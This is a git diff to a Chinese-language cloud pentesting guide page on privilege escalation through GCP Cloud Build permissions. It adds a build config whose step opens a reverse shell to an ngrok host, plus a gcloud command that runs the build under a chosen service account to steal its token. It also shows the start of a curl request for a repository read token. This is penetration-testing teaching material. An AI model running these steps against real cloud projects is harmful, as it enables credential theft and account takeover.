diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index d726694de..8092bfe83 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,22 +12,34 @@ ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -拥有此权限后,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有一个 cloudbuild 服务账户的令牌**:`@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指定项目内的任何服务账户**。\ -因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取一个反向 shell 并获取令牌**(包含令牌的文件可能会更改)。 +通过此权限,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有 cloudbuild 服务账户的令牌**:`@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指示项目内的任何服务账户**。\ +因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取反向 shell 并获取令牌**(包含令牌的文件可能会更改)。 -您可以在 [**GitHub 上找到原始利用脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但我发现它获取令牌的位置对我无效)。因此,请查看一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 Python 脚本以在 cloudbuild 机器中获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务账户的方式)**。** +#### 通过 gcloud CLI 直接利用 + +1- 创建 `cloudbuild.yaml` 并使用您的监听器数据进行修改 +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- 上传一个没有源代码的简单构建,yaml 文件并指定在构建中使用的服务账户: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### 使用 python gcloud 库 +您可以在 [**GitHub 上找到原始利用脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但它获取令牌的位置对我不起作用)。因此,请检查一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 python 脚本以在 cloudbuild 机器内部获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务帐户的方式)**。** 有关更深入的解释,请访问 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -### `cloudbuild.builds.update` - -**潜在地**,拥有此权限后,您将能够**更新云构建并窃取服务账户令牌**,就像之前的权限所执行的那样(但不幸的是,在撰写本文时,我找不到任何调用该 API 的方法)。 - -TODO ### `cloudbuild.repositories.accessReadToken` -拥有此权限后,用户可以获取用于访问存储库的**读取访问令牌**: +拥有此权限的用户可以获取用于访问存储库的 **读取访问令牌**: ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \